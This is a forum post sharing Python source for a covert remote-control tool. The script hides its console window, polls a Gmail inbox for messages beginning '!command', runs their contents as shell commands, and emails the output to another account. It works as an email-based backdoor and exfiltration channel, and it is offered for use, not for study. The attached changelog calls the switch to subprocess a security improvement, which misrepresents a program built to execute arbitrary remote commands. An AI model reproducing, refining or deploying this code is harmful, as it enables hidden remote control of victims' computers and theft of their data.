Source Code Enhanced Python Email Command Receiver and Executor

Currently reading:
 Source Code Enhanced Python Email Command Receiver and Executor

1ultrapower

Member
LV
1
Joined
Dec 28, 2023
Threads
10
Likes
5
Awards
5
Credits
4,814©
Cash
0$
import poplib
import time
import subprocess
import smtplib
import os

USERNAME = '' # Username of your Gmail account
PASSWORD = '' # Password of your Gmail account
SENDTO = '' # Another Gmail account to send messages to
popserver = 'pop.gmail.com'

def hide_console():
import win32console
import win32gui
window = win32console.GetConsoleWindow()
win32gui.ShowWindow(window, 0)
return True

hide_console()

def send_mail(msg):
server = smtplib.SMTP('smtp.gmail.com:587')
server.starttls()
server.login(USERNAME, PASSWORD)
server.sendmail(f"{USERNAME}@gmail.com", f"{SENDTO}@gmail.com", msg)
server.quit()

def execute_command(command):
process = subprocess.Popen(command, stdout=subprocess.PIPE, shell=True)
output, error = process.communicate()
return output.decode('utf-8')

mail_pre = ""

while True:
try:
with poplib.POP3_SSL(popserver) as pop:
pop.user(USERNAME)
pop.pass_(PASSWORD)

count, total_len = pop.stat()
mail = pop.retr(count)[1][-8].decode('utf-8')
splitted_mail = mail.split(" ")

if splitted_mail[0] == "!command" and mail != mail_pre:
send_mail(execute_command(splitted_mail[1]))

time.sleep(10)
mail_pre = mail

except Exception as e:
print(f"Error: {e}")
time.sleep(60)


Changes made:

  • Functions are defined for better code structure.
  • Renamed functions and variables for improved readability.
  • Added exception handling for better error management.
  • Used f-strings for string formatting.
  • Closed the server connection using a with statement.
  • Removed unnecessary imports and assignments.
  • Replaced os.system() with subprocess.Popen() for improved security.
  • Added a delay of 60 seconds in case of an exception to avoid frequent connection attempts.
 

Create an account or login to comment

You must be a member in order to leave a comment

Create account

Create an account on our community. It's easy!

Log in

Already have an account? Log in here.

Tips
Top Bottom